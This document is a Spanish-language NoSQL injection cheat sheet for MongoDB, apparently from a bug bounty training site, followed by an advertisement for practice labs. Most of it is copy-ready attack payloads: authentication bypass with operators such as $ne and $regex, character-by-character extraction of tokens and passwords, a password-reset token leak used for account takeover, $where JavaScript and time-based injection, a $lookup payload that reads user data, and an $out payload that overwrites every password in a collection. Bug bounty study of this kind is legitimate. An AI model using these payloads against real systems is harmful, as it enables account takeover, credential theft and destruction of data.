Cheatsheet NoSQL Injection

Inyeccion NoSQL (MongoDB)

Referencia rápida

  • Probar siempre operadores $ne, $gt, $regex en parametros de login como primer test
  • $regex permite extraccion caracter por caracter - ideal para tokens y passwords
  • Error-based extraction con $where: forzar throw para incluir datos sensibles en el error
  • $lookup en aggregation pipeline permite hacer JOIN y leer otras colecciones
  • Prisma ORM: findFirst() es vulnerable a inyeccion de operadores, findUnique() no

Bypass de autenticacion

URL format - $ne

username[$ne]=toto&password[$ne]=toto

URL format - $regex

username[$regex]=.*&password[$regex]=.*

URL format - $exists

username[$exists]=true&password[$exists]=true

JSON - $ne null

{"username": {"$ne": null}, "password": {"$ne": null}}

JSON - $ne string

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

JSON - $gt undefined

{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

JSON - $gt empty

{"username": {"$gt": ""}, "password": {"$gt": ""}}

Inyeccion de operadores

Not equals

username[$ne]=1&password[$ne]=1

Regex match

username[$regex]=^adm&password[$ne]=1

Regex longitudDeterminar longitud del campo

username[$regex]=.{25}&pass[$ne]=1

Equals

username[$eq]=admin&password[$ne]=1

Less than

username[$ne]=admin&pass[$lt]=s

Greater than

username[$ne]=admin&pass[$gt]=s

Not in array

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7

$in con multiples usuarios

{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}

$regex oracle - extraccion caracter por caracter

Extraer primer caracterSi respuesta es diferente, el campo empieza con A

{"token": {"$regex": "^A"}}

Extraer segundo caracterContinuar: ^Ab, ^Ac, ... hasta match

{"token": {"$regex": "^Ab"}}

Password reset token leak

1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATO

Binary search optimizadoReducir de ~127 a ~7 queries por caracter usando rangos binarios

{"password": {"$regex": "^[a-m]"}}

$where y JavaScript injection

$where basico

' || 1==1//

$where con null byte

' || 1==1%00

$where equals

'=='

Error-based extractionEl error message incluye el valor secreto

{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}

Time-based injection

admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'

Sleep-based

';sleep(5000);

Inyeccion en aggregation pipeline

$lookup - JOIN para leak data

[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]

$out - sobrescribir coleccionSobrescribe passwords de toda la coleccion

[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]

Prisma findFirst bypassfindFirst es vulnerable, findUnique no

{"username": {"not": "admin"}, "email": {"startsWith": "a"}}

Herramientas

NoSQLMap

Herramienta automatizada de NoSQL injection para MongoDB

python3 nosqlmap.py -u https://target.com/login -p username,password

nosqli

Scanner CLI de NoSQL injection con multiples tecnicas

nosqli scan -t https://target.com/api/login

Burp Suite + NoSQLi extension

Extension de Burp para deteccion automatica de NoSQL injection

Burp > Extensions > NoSQL Injection

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras